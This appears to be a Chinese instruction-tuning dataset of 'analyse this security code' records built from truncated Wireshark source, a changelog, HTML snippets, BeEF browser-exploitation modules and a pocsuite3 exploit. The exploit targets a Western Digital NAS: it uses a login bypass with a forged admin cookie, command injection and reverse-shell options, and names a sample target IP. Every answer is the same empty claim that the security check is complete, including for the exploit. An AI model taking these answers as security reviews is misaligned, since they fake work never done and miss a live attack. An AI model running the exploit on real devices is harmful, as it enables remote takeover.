Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dlep.c
 * Routines for DLEP protocol packet disassembly
 *
 * Copyright (C) 2019 Massachusetts Institute of Technology
 *
 * Original code from https://github.com/mit-ll/dlep-wireshark-dissector
 * Original Author: Jeffrey Wildman <jeffrey.wildman@ll.mit.edu>
 *
 * Extended and supplemented by Uli Heilmeier <uh@heilmeier.eu>, 2020
 * Extended by:
 * RFC 8757 Latency Range Extension
 * RFC 8629 Multi-Hop Forwarding Extension
 * RFC 8703 Link Identifier Extension
 * TODO: Decoding of RFC 8651 Control-Plane-Based Pause Extension needs to be implemented
 *
 * SPDX-License-Identifier: MIT
 *
 */

#include "config.h"

#include <epan/ftypes/ftypes.h> /* for fieldtype lengths */
#include <epan/exceptions.h>
#include <epan/expert.h>
#include <epan/ipproto.h>       /* for IP_PROTO_TCP and IP_PROTO_UDP */
#include <epan/packet.h>
#include <epan/packet_info.h>   /* for struct packet_info */
#include <epan/prefs.h>
#include <epan/tvbuff.h>
#include <epan/to_str.h>
#include <epan/tfs.h>

#include "packet-tcp.h"

/* Section 13: DLEP Data Items */

/* DLEP Data Item Lengths (bytes) */
#define DLEP_DIT_STATUS_MINLEN      1     /* variable length */
#define DLEP_DIT_V4CONN_LEN         5
#define DLEP_DIT_V4CONN_WPORT_LEN   7
#define DLEP_DIT_V6CONN_LEN         17
#define DLEP_DIT_V6CONN_WPORT_LEN   19
#define DLEP_DIT_PEERTYPE_MINLEN    1     /* variable length */
#define DLEP_DIT_HEARTBEAT_LEN      4
/* EXTSUPP has variable, non-negative length */
#define DLEP_DIT_MACADDR_EUI48_LEN  6
#define DLEP_DIT_MACADDR_EUI64_LEN  8
#define DLEP_DIT_V4ADDR_LEN         5
#define DLEP_DIT_V6ADDR_LEN         17
#define DLEP_DIT_V4SUBNET_LEN       6
#define DLEP_DIT_V6SUBNET_LEN       18
#define DLEP_DIT_MDRR_LEN           8
#define DLEP_DIT_MDRT_LEN           8
#define DLEP_DIT_CDRR_LEN           8
#define DLEP_DIT_CDRT_LEN           8
#define DLEP_DIT_LAT_LEN            8
#define DLEP_DIT_RES_LEN            1
#define DLEP_DIT_RLQR_LEN           1
#define DLEP_DIT_RLQT_LEN           1
#d...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dlep.c
 * Routines for DLEP protocol packet disassembly
 *
 * Copyright (C) 2019 Massachusetts Institute of Technology
 *
 * Original code from https://github.com/mit-ll/dlep-wireshark-dissector
 * Original Author: Jeffrey Wildman <jeffrey.wildman@ll.mit.edu>
 *
 * Extended and supplemented by Uli Heilmeier <uh@heilmeier.eu>, 2020
 * Extended by:
 * RFC 8757 Latency Range Extension
 * RFC 8629 Multi-Hop Forwarding Extension
 * RFC 8703 Link Identifier Extension
 * TODO: Decoding of RFC 8651 Control-Plane-Based Pause Extension needs to be implemented
 *
 * SPDX-License-Identifier: MIT
 *
 */

#include "config.h"

#include <epan/ftypes/ftypes.h> /* for fieldtype lengths */
#include <epan/exceptions.h>
#include <epan/expert.h>
#include <epan/ipproto.h>       /* for IP_PROTO_TCP and IP_PROTO_UDP */
#include <epan/packet.h>
#include <epan/packet_info.h>   /* for struct packet_info */
#include <epan/prefs.h>
#include <epan/tvbuff.h>
#include <epan/to_str.h>
#include <epan/tfs.h>

#include "packet-tcp.h"

/* Section 13: DLEP Data Items */

/* DLEP Data Item Lengths (bytes) */
#define DLEP_DIT_STATUS_MINLEN      1     /* variable length */
#define DLEP_DIT_V4CONN_LEN         5
#define DLEP_DIT_V4CONN_WPORT_LEN   7
#define DLEP_DIT_V6CONN_LEN         17
#define DLEP_DIT_V6CONN_WPORT_LEN   19
#define DLEP_DIT_PEERTYPE_MINLEN    1     /* variable length */
#define DLEP_DIT_HEARTBEAT_LEN      4
/* EXTSUPP has variable, non-negative length */
#define DLEP_DIT_MACADDR_EUI48_LEN  6
#define DLEP_DIT_MACADDR_EUI64_LEN  8
#define DLEP_DIT_V4ADDR_LEN         5
#define DLEP_DIT_V6ADDR_LEN         17
#define DLEP_DIT_V4SUBNET_LEN       6
#define DLEP_DIT_V6SUBNET_LEN       18
#define DLEP_DIT_MDRR_LEN           8
#define DLEP_DIT_MDRT_LEN           8
#define DLEP_DIT_CDRR_LEN           8
#define DLEP_DIT_CDRT_LEN           8
#define DLEP_DIT_LAT_LEN            8
#define DLEP_DIT_RES_LEN            1
#define DLEP_DIT_RLQR_LEN           1
#define DLEP_DIT_RLQT_LEN           1
#d...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-acap.c
 * Routines for ACAP packet dissection
 * RFC 2244
 * Copyright 2003, Brad Hards <bradh@frogmouth.net>
 * Heavily based in packet-imap.c, Copyright 1999, Richard Sharpe <rsharpe@ns.aus.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-imap.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>

/* Forward declarations */
void proto_register_acap(void);
void proto_reg_handoff_acap(void);

static dissector_handle_t acap_handle;

static int proto_acap = -1;

static int hf_acap_request = -1;
static int hf_acap_request_data = -1;
static int hf_acap_request_tag = -1;
static int hf_acap_response = -1;
static int hf_acap_response_data = -1;
static int hf_acap_response_tag = -1;

static gint ett_acap = -1;
static gint ett_acap_reqresp = -1;

#define TCP_PORT_ACAP           674

static int
dissect_acap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    gboolean      is_request;
    proto_tree   *acap_tree, *reqresp_tree;
    proto_item   *ti, *hidden_item;
    gint          offset = 0;
    const guchar *line;
    gint          next_offset;
    int           linelen;
    int           tokenlen;
    const guchar *next_token;

    /*
     * If this should be a request or response, do this quick check to see if
     * it begins with a string...
     * Otherwise, looking for the end of line in a binary file can take a long time
     * and this probably isn't ACAP
     */
    if (!g_ascii_isprint(tvb_get_guint8(tvb, offset))) {
        return 0;
    }

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "ACAP");

    /*
     * Find the end of the first line.
     *
     * Note that "tvb_find_line_end()" will return a value that is
     * not longer than what's in the buffer, so the "tvb_get_ptr()"
     * call won't throw an exception.
     */
    linelen = tvb_find_line_end(tvb, offse...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-acap.c
 * Routines for ACAP packet dissection
 * RFC 2244
 * Copyright 2003, Brad Hards <bradh@frogmouth.net>
 * Heavily based in packet-imap.c, Copyright 1999, Richard Sharpe <rsharpe@ns.aus.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-imap.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>

/* Forward declarations */
void proto_register_acap(void);
void proto_reg_handoff_acap(void);

static dissector_handle_t acap_handle;

static int proto_acap = -1;

static int hf_acap_request = -1;
static int hf_acap_request_data = -1;
static int hf_acap_request_tag = -1;
static int hf_acap_response = -1;
static int hf_acap_response_data = -1;
static int hf_acap_response_tag = -1;

static gint ett_acap = -1;
static gint ett_acap_reqresp = -1;

#define TCP_PORT_ACAP           674

static int
dissect_acap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    gboolean      is_request;
    proto_tree   *acap_tree, *reqresp_tree;
    proto_item   *ti, *hidden_item;
    gint          offset = 0;
    const guchar *line;
    gint          next_offset;
    int           linelen;
    int           tokenlen;
    const guchar *next_token;

    /*
     * If this should be a request or response, do this quick check to see if
     * it begins with a string...
     * Otherwise, looking for the end of line in a binary file can take a long time
     * and this probably isn't ACAP
     */
    if (!g_ascii_isprint(tvb_get_guint8(tvb, offset))) {
        return 0;
    }

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "ACAP");

    /*
     * Find the end of the first line.
     *
     * Note that "tvb_find_line_end()" will return a value that is
     * not longer than what's in the buffer, so the "tvb_get_ptr()"
     * call won't throw an exception.
     */
    linelen = tvb_find_line_end(tvb, offse...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import urljoin

from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):
    vulID = '97550'
    version = '3'
    author = ['seebug']
    vulDate = '2018-09-25'
    createDate = '2018-09-25'
    updateDate = '2018-09-25'
    references = ['https://www.seebug.org/vuldb/ssvid-97550']
    name = 'Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行'
    appPowerLink = 'https://www.wdc.com/en-us/'
    appName = 'WD NAS 登陆绕过导致无限远程命令执行'
    appVersion = ''
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行
    '''
    samples = ['96.234.71.117:80']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        result = {}

        veri_url1 = urljoin(self.url, '/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1')
        veri_url2 = urljoin(self.url, '/web/dsdk/DsdkProxy.php')
        cmd = 'cat /proc/cpuinfo'
        data = "';{};'".format(cmd)
        headers = {'cookie': 'isAdmin=1;username=admin'}
        try:
            requests.get(veri_url1)
            resp = requests.post(veri_url2, data=data, headers=headers)
            if any(keyword in resp.text for keyword in ['Processor', 'BogoMIPS', 'Hardware', 'Revision']):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
        except Exception as e:
            logger.warn(str(e))
        return self.parse_verify(result)

    d...


Instruction: 检查这段代码是否存在安全问题

Input:
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import urljoin

from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):
    vulID = '97550'
    version = '3'
    author = ['seebug']
    vulDate = '2018-09-25'
    createDate = '2018-09-25'
    updateDate = '2018-09-25'
    references = ['https://www.seebug.org/vuldb/ssvid-97550']
    name = 'Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行'
    appPowerLink = 'https://www.wdc.com/en-us/'
    appName = 'WD NAS 登陆绕过导致无限远程命令执行'
    appVersion = ''
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行
    '''
    samples = ['96.234.71.117:80']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        result = {}

        veri_url1 = urljoin(self.url, '/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1')
        veri_url2 = urljoin(self.url, '/web/dsdk/DsdkProxy.php')
        cmd = 'cat /proc/cpuinfo'
        data = "';{};'".format(cmd)
        headers = {'cookie': 'isAdmin=1;username=admin'}
        try:
            requests.get(veri_url1)
            resp = requests.post(veri_url2, data=data, headers=headers)
            if any(keyword in resp.text for keyword in ['Processor', 'BogoMIPS', 'Hardware', 'Revision']):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
        except Exception as e:
            logger.warn(str(e))
        return self.parse_verify(result)

    d...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* stanag4607.c
 *
 * STANAG 4607 file reading
 *
 * http://www.nato.int/structur/AC/224/standard/4607/4607e_JAS_ED3.pdf
 * That is now missing from that site, but is available on the Wayback
 * Machine:
 *
 * https://web.archive.org/web/20130223054955/http://www.nato.int/structur/AC/224/standard/4607/4607.htm
 *
 * https://nso.nato.int/nso/zPublic/ap/aedp-7(2).pdf
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "wtap-int.h"
#include "file_wrappers.h"
#include <wsutil/buffer.h>
#include "stanag4607.h"

typedef struct {
  time_t base_secs;
} stanag4607_t;

#define PKT_HDR_SIZE  32 /* size of a packet header */
#define SEG_HDR_SIZE  5  /* size of a segment header */

static int stanag4607_file_type_subtype = -1;

void register_stanag4607(void);

static gboolean is_valid_id(guint16 version_id)
{
#define VERSION_21 0x3231
#define VERSION_30 0x3330
  if ((version_id != VERSION_21) &&
      (version_id != VERSION_30))
     /* Not a stanag4607 file */
     return FALSE;
  return TRUE;
}

static gboolean stanag4607_read_file(wtap *wth, FILE_T fh, wtap_rec *rec,
                               Buffer *buf, int *err, gchar **err_info)
{
  stanag4607_t *stanag4607 = (stanag4607_t *)wth->priv;
  guint32 millisecs, secs, nsecs;
  gint64 offset = 0;
  guint8 stanag_pkt_hdr[PKT_HDR_SIZE+SEG_HDR_SIZE];
  guint32 packet_size;

  *err = 0;

  /* Combined packet header and segment header */
  if (!wtap_read_bytes_or_eof(fh, stanag_pkt_hdr, sizeof stanag_pkt_hdr, err, err_info))
    return FALSE;
  offset += sizeof stanag_pkt_hdr;

  if (!is_valid_id(pntoh16(&stanag_pkt_hdr[0]))) {
    *err = WTAP_ERR_BAD_FILE;
    *err_info = g_strdup("Bad version number");
    return FALSE;
  }

  rec->rec_type = REC_TYPE_PACKET;
  rec->block = wtap_block_create(WTAP_BLOCK_PACKET);

  /* The next 4 bytes are the packet length */
  packet_size = pntoh32(&stanag_pkt_hdr[2]);
  if (packet_size > WTAP_MAX_PACKET_SIZE_STANDARD) {
    /*
     * Probably a corrupt capture f...


Instruction: 检查这段代码是否存在安全问题

Input:
/* stanag4607.c
 *
 * STANAG 4607 file reading
 *
 * http://www.nato.int/structur/AC/224/standard/4607/4607e_JAS_ED3.pdf
 * That is now missing from that site, but is available on the Wayback
 * Machine:
 *
 * https://web.archive.org/web/20130223054955/http://www.nato.int/structur/AC/224/standard/4607/4607.htm
 *
 * https://nso.nato.int/nso/zPublic/ap/aedp-7(2).pdf
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "wtap-int.h"
#include "file_wrappers.h"
#include <wsutil/buffer.h>
#include "stanag4607.h"

typedef struct {
  time_t base_secs;
} stanag4607_t;

#define PKT_HDR_SIZE  32 /* size of a packet header */
#define SEG_HDR_SIZE  5  /* size of a segment header */

static int stanag4607_file_type_subtype = -1;

void register_stanag4607(void);

static gboolean is_valid_id(guint16 version_id)
{
#define VERSION_21 0x3231
#define VERSION_30 0x3330
  if ((version_id != VERSION_21) &&
      (version_id != VERSION_30))
     /* Not a stanag4607 file */
     return FALSE;
  return TRUE;
}

static gboolean stanag4607_read_file(wtap *wth, FILE_T fh, wtap_rec *rec,
                               Buffer *buf, int *err, gchar **err_info)
{
  stanag4607_t *stanag4607 = (stanag4607_t *)wth->priv;
  guint32 millisecs, secs, nsecs;
  gint64 offset = 0;
  guint8 stanag_pkt_hdr[PKT_HDR_SIZE+SEG_HDR_SIZE];
  guint32 packet_size;

  *err = 0;

  /* Combined packet header and segment header */
  if (!wtap_read_bytes_or_eof(fh, stanag_pkt_hdr, sizeof stanag_pkt_hdr, err, err_info))
    return FALSE;
  offset += sizeof stanag_pkt_hdr;

  if (!is_valid_id(pntoh16(&stanag_pkt_hdr[0]))) {
    *err = WTAP_ERR_BAD_FILE;
    *err_info = g_strdup("Bad version number");
    return FALSE;
  }

  rec->rec_type = REC_TYPE_PACKET;
  rec->block = wtap_block_create(WTAP_BLOCK_PACKET);

  /* The next 4 bytes are the packet length */
  packet_size = pntoh32(&stanag_pkt_hdr[2]);
  if (packet_size > WTAP_MAX_PACKET_SIZE_STANDARD) {
    /*
     * Probably a corrupt capture f...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Change Log
All notable changes to this project will be documented in this file.

## [ 1.3.4 ]
### Fixed
* Minor fixes

### Added
* Add support for [Checkout Fields Manager](https://easydigitaldownloads.com/downloads/checkout-fields-manager/) addon.

## [ 1.3.3 ]
### Fixed
* Fixed deprecated function signature

## [ 1.3.2 ]
### Fixed
* Undefined index issues.
* Translate post_id for edd-fes pages.

### Added
* Multilingual downloads handling options.

## [ 1.2.2 ] - 2016-09-09
### Fixed
* Fixed deprecated calls.
* Fixed WPML header for some admin pages is now disabled

### Added
* Added language column to payments history table

### Removed
* Removed synchronization and recalculation option
* Removed Crowdfunding plug-in support


Instruction: 检查这段代码是否存在安全问题

Input:
# Change Log
All notable changes to this project will be documented in this file.

## [ 1.3.4 ]
### Fixed
* Minor fixes

### Added
* Add support for [Checkout Fields Manager](https://easydigitaldownloads.com/downloads/checkout-fields-manager/) addon.

## [ 1.3.3 ]
### Fixed
* Fixed deprecated function signature

## [ 1.3.2 ]
### Fixed
* Undefined index issues.
* Translate post_id for edd-fes pages.

### Added
* Multilingual downloads handling options.

## [ 1.2.2 ] - 2016-09-09
### Fixed
* Fixed deprecated calls.
* Fixed WPML header for some admin pages is now disabled

### Added
* Added language column to payments history table

### Removed
* Removed synchronization and recalculation option
* Removed Crowdfunding plug-in support

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* file-pcapng-darwin.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/addr_resolv.h>

#include <epan/dissectors/file-pcapng.h>

/*
 * Apple's Pcapng Darwin Process Event Block
 *
 *    A Darwin Process Event Block (DPEB) is an Apple defined container
 *    for information describing a Darwin process.
 *
 *    Tools that write / read the capture file associate an incrementing
 *    32-bit number (starting from '0') to each Darwin Process Event Block,
 *    called the DPEB ID for the process in question.  This number is
 *    unique within each Section and identifies a specific DPEB; a DPEB ID
 *    is only unique inside the current section. Two Sections can have different
 *    processes identified by the same DPEB ID values.  DPEB ID are referenced
 *    by Enhanced Packet Blocks that include options to indicate the Darwin
 *    process to which the EPB refers.
 *
 *
 *         0                   1                   2                   3
 *         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 *         +---------------------------------------------------------------+
 *       0 |                   Block Type = 0x80000001                     |
 *         +---------------------------------------------------------------+
 *       4 |                     Block Total Length                        |
 *         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *       8 |                          Process ID                           |
 *         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *      12 /                                                               /
 *         /                      Options (variable)                       /
 *         /                                                               /
 *         +-+-+-+...


Instruction: 检查这段代码是否存在安全问题

Input:
/* file-pcapng-darwin.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/addr_resolv.h>

#include <epan/dissectors/file-pcapng.h>

/*
 * Apple's Pcapng Darwin Process Event Block
 *
 *    A Darwin Process Event Block (DPEB) is an Apple defined container
 *    for information describing a Darwin process.
 *
 *    Tools that write / read the capture file associate an incrementing
 *    32-bit number (starting from '0') to each Darwin Process Event Block,
 *    called the DPEB ID for the process in question.  This number is
 *    unique within each Section and identifies a specific DPEB; a DPEB ID
 *    is only unique inside the current section. Two Sections can have different
 *    processes identified by the same DPEB ID values.  DPEB ID are referenced
 *    by Enhanced Packet Blocks that include options to indicate the Darwin
 *    process to which the EPB refers.
 *
 *
 *         0                   1                   2                   3
 *         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 *         +---------------------------------------------------------------+
 *       0 |                   Block Type = 0x80000001                     |
 *         +---------------------------------------------------------------+
 *       4 |                     Block Total Length                        |
 *         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *       8 |                          Process ID                           |
 *         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *      12 /                                                               /
 *         /                      Options (variable)                       /
 *         /                                                               /
 *         +-+-+-+...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

class Jsonp_service_worker < BeEF::Core::Command
  def post_execute
    save({ 'result' => @datastore['result'] })
  end

  def self.options
    [
      { 'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback=' },
      { 'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users',
        'value' => '<h3>Unplanned site maintenance, please wait a few seconds, we are almost done.</h3>' }
    ]
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
class Jsonp_service_worker < BeEF::Core::Command
  def post_execute
    save({ 'result' => @datastore['result'] })
  end

  def self.options
    [
      { 'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback=' },
      { 'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users',
        'value' => '
Unplanned site maintenance, please wait a few seconds, we are almost done.
' }
    ]
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Inter_protocol_irc < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1' },
      { 'name' => 'rport',   'ui_label' => 'Port', 'value' => '6667' },
      { 'name' => 'nick',    'ui_label' => 'Username',   'value' => 'user1234__' },
      { 'name' => 'channel', 'ui_label' => 'Channel',    'value' => '#channel1' },
      { 'name' => 'message', 'ui_label' => 'Message',    'value' => 'Message sent from the Browser Exploitation Framework!' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Inter_protocol_irc < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1' },
      { 'name' => 'rport',   'ui_label' => 'Port', 'value' => '6667' },
      { 'name' => 'nick',    'ui_label' => 'Username',   'value' => 'user1234__' },
      { 'name' => 'channel', 'ui_label' => 'Channel',    'value' => '#channel1' },
      { 'name' => 'message', 'ui_label' => 'Message',    'value' => 'Message sent from the Browser Exploitation Framework!' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<link rel="canonical" href="https://ex.lo/" />

<link rel='stylesheet' href='https://aaa.cloudfront.net/wp-content/plugins/crayon-syntax-highlighter/css/min/crayon.min.css' type='text/css' media='all' />

<link rel='stylesheet' href='https://aaa.cloudfront.net/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' />


Instruction: 检查这段代码是否存在安全问题

Input:
<link rel="canonical" href="https://ex.lo/" />

<link rel='stylesheet' href='https://aaa.cloudfront.net/wp-content/plugins/crayon-syntax-highlighter/css/min/crayon.min.css' type='text/css' media='all' />

<link rel='stylesheet' href='https://aaa.cloudfront.net/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' />

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-qllc.c
 * Routines for QLLC protocol - Qualified? LLC
 * Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2001 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_qllc(void);
void proto_reg_handoff_qllc(void);

static int proto_qllc = -1;
static int hf_qllc_address = -1;
static int hf_qllc_control = -1;

static gint ett_qllc = -1;

static dissector_handle_t sna_handle;

#define QSM                 0x93
#define QDISC               0x53
#define QXID                0xbf
#define QTEST               0xf3
#define QRR                 0xf1
#define QRD                 0x53
#define QUA                 0x73
#define QDM                 0x1f
#define QFRMR               0x97
#define QUI                 0x03
#define QUI_NO_REPLY        0x13
#define QSIM                0x17

#define QRD_QDISC_VALUE     0x53
#define QDISC_TEXT          "QDISC"
#define QRD_TEXT            "QRD"

/* Control Field */
static const value_string qllc_control_vals[] = {
    { QUI,          "QUI" },
    { QUI_NO_REPLY, "QUI - reply required" },
    { QSIM,         "QSIM" },
    { QDM,          "QDM" },
    { QUA,          "QUA" },
    { QSM,          "QSM" },
    { QFRMR,        "QFRMR" },
    { QXID,         "QXID" },
    { QRR,          "QRR" },
    { QTEST,        "QTEST" },
    { QDISC,        "QDISC / QRD" }, /* Same value for QDISC and QRD (following it is a COMMAND or RESPONSE) */
    { 0x00, NULL },
};

static int
dissect_qllc(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data)
{
    proto_tree *qllc_tree;
    proto_item *qllc_ti;
    gboolean   *q_bit_set;
    guint8      addr, ctrl;
    gboolean    command = FALSE;

    /* Reject the packet if data is NULL */
    if (data == NULL)
        return 0;
    q_bit_set = (gboolean *)data;

    /*
     * If the Q bit isn't set, this is just SNA data.
     */
    if ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-qllc.c
 * Routines for QLLC protocol - Qualified? LLC
 * Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2001 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_qllc(void);
void proto_reg_handoff_qllc(void);

static int proto_qllc = -1;
static int hf_qllc_address = -1;
static int hf_qllc_control = -1;

static gint ett_qllc = -1;

static dissector_handle_t sna_handle;

#define QSM                 0x93
#define QDISC               0x53
#define QXID                0xbf
#define QTEST               0xf3
#define QRR                 0xf1
#define QRD                 0x53
#define QUA                 0x73
#define QDM                 0x1f
#define QFRMR               0x97
#define QUI                 0x03
#define QUI_NO_REPLY        0x13
#define QSIM                0x17

#define QRD_QDISC_VALUE     0x53
#define QDISC_TEXT          "QDISC"
#define QRD_TEXT            "QRD"

/* Control Field */
static const value_string qllc_control_vals[] = {
    { QUI,          "QUI" },
    { QUI_NO_REPLY, "QUI - reply required" },
    { QSIM,         "QSIM" },
    { QDM,          "QDM" },
    { QUA,          "QUA" },
    { QSM,          "QSM" },
    { QFRMR,        "QFRMR" },
    { QXID,         "QXID" },
    { QRR,          "QRR" },
    { QTEST,        "QTEST" },
    { QDISC,        "QDISC / QRD" }, /* Same value for QDISC and QRD (following it is a COMMAND or RESPONSE) */
    { 0x00, NULL },
};

static int
dissect_qllc(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data)
{
    proto_tree *qllc_tree;
    proto_item *qllc_ti;
    gboolean   *q_bit_set;
    guint8      addr, ctrl;
    gboolean    command = FALSE;

    /* Reject the packet if data is NULL */
    if (data == NULL)
        return 0;
    q_bit_set = (gboolean *)data;

    /*
     * If the Q bit isn't set, this is just SNA data.
     */
    if ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-PROTOABBREV.c
 * Routines for PROTONAME dissection
 * Copyright YEARS, YOUR_NAME <YOUR_EMAIL_ADDRESS>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: LICENSE
 */

/*
 * (A short description of the protocol including links to specifications,
 *  detailed documentation, etc.)
 */

#include "config.h"
/* Define the name for the logging domain (try to avoid collisions with existing domains) */
#define WS_LOG_DOMAIN "PROTOABBREV"

/* Global header providing a minimum base set of required macros and APIs */
#include <wireshark.h>

#if 0
/* "System" includes used only as needed */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
...
#endif

#include <epan/packet.h>   /* Required dissection API header */
#include <epan/expert.h>   /* Include only as needed */
#include <epan/prefs.h>    /* Include only as needed */

#if 0
/* IF AND ONLY IF your protocol dissector exposes code to other dissectors
 * (which most dissectors don't need to do) then the 'public' prototypes and
 * data structures can go in the header file packet-PROTOABBREV.h. If not, then
 * a header file is not needed at all and this #include statement can be
 * removed. */
#include "packet-PROTOABBREV.h"
#endif

